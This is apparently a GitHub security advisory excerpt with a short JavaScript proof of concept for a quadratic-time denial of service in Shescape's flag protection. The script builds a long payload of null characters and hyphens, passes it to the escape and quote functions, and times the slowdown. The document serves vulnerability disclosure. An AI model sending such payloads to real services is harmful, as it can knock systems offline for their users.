GHSA-gm3r-q2wp-hw87: Shescape: Quadratic-time denial of service in the flag-protection

import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};

// 2. Payload
let payload = "\u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000